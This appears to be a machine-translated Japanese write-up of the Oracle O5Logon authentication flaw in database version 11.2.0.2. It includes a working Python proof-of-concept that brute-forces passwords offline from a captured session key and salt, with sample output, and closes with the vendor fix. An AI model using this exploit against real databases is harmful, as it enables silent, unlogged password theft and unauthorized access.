O5Logon操作の概要
サーバーとの相互作用は次のように発生します。
- クライアントはサーバーに接続し、ユーザー名を送信します
- サーバーはセッション識別子を生成し、AES-192を使用して暗号化します。 キーは、ユーザーパスワードと追加されたソルトのSHA1ハッシュです。
- サーバーは、暗号化されたセッション識別子とソルトをクライアントに送信します
- クライアントは、パスワードからハッシュを受け取り、ソルトを受け取ってキーを生成します。 このキーを使用して、クライアントはサーバーから受信したセッションデータを復号化します。
- 復号化されたサーバーセッション識別子に基づいて、クライアントは新しい共有キーを生成します。これは後で使用されます
主な関心はステージ1〜3であり、次のように表すことができます。
接続の最初からサーバーは、パスワードの選択に必要なすべての情報を送信します。 セッションIDの主要な機能により攻撃が可能になります。公開セッション識別子の最後の8バイトは常に8バイトで構成されます。 この情報は、正しい復号化を決定するのに十分です。
この問題のもう1つの特徴は、3番目のステージ後に接続が切断されることです。接続試行の事実はログに表示されません。 攻撃はまったく気付かれないようにすることができます。
実用面
脆弱性をテストするために、Oracleが開発者をトレーニングするために使用し、プリインストールされたデータベースバージョン11.2.0.2を含む仮想マシンの自由に配布されたダンプがインストールされます
インストール後、たとえばPythonやcx_Oracleライブラリを使用して、標準ポートを介してデータベースへの接続を試みることができます。 テストとして、組み込みユーザーシステムの選択が行われました。 さらなる攻撃に必要なすべてのデータを取得するには、ユーザー名のみを知るだけで十分です。
>>> import cx_Oracle >>> con = cx_Oracle.connect('system/wrongpassword@192.168.56.104/orcl') Traceback (most recent call last): File "<stdin>", line 1, in <module> cx_Oracle.DatabaseError: ORA-01017: invalid username/password; logon denied
この場合、暗号化されたセッションIDとソルトを取得するための最も簡単な方法は、Wiresharkを使用することでした:
ここでは次の値が役立ちます。
セッションID(AUTH_SESSKEY) :EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A8239B6DBA16EAAB5422553A7598143E78767
ソルト(AUTH_VFR_DATA) :A7193E546377EC56639E
概念実証
次のコードは、セッションとパスワードのブルートフォースを解読するためにひざまずいて記述されました。
#-*-coding:utf8 -*- import hashlib from Crypto.Cipher import AES def decrypt(session,salt,password): pass_hash = hashlib.sha1(password+salt) # 24 key = pass_hash.digest() + '\x00\x00\x00\x00' decryptor = AES.new(key,AES.MODE_CBC) plain = decryptor.decrypt(session) return plain # 48 session_hex = 'EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A8239B6DBA16EAAB5422553A7598143E78767' # 10 salt_hex = 'A7193E546377EC56639E' passwords = ['test','password','oracle','demo'] for password in passwords: session_id = decrypt(session_hex.decode('hex'),salt_hex.decode('hex'),password) print 'Decrypted session_id for password "%s" is %s' % (password,session_id.encode('hex')) if session_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08': print 'PASSWORD IS "%s"' % password break
プログラムを開始すると、以下が得られます。
Decrypted session_id for password "test" is 26998331454aeb10fbf10ae8a3deac8e9e0531378089a3acaa9294f3256227bc00feae272db6c1eafb105d6baa953274 Decrypted session_id for password "password" is 8a62f6dcca35f6886ea5b0cbd24791cfd0a3390eb29c64a4d58bfe1c19e27df0de315772ea84e28ddd9a126dfdec134d Decrypted session_id for password "oracle" is 58b6e23a31ee7136d4893a01d48cd17e841fc3e90545711668a69d9c28b5c5d8819a4f7a961334320808080808080808 PASSWORD IS "oracle" [Finished in 0.1s]
パスワードが正常に選択されました。
おわりに
Oracleはバージョン11.2.0.3でこの問題を解決し、ユーザーが新しい認証メカニズムを使用できるようにしました。これは、クライアント部分とサーバー部分のsqlnet.oraファイルに明示的に登録するために必要です。
SQLNET.ALLOWED_LOGON_VERSION=12
しかし、このソリューションはほとんどの稼働中のシステムで受け入れられると言えます サーバー側に加えて、クライアントを再構成する必要があります。 このような場合に通常どおり、強力なパスワードの使用とネットワークアクセスのレベルでの明確な制限は、合理的な推奨事項と見なすことができます。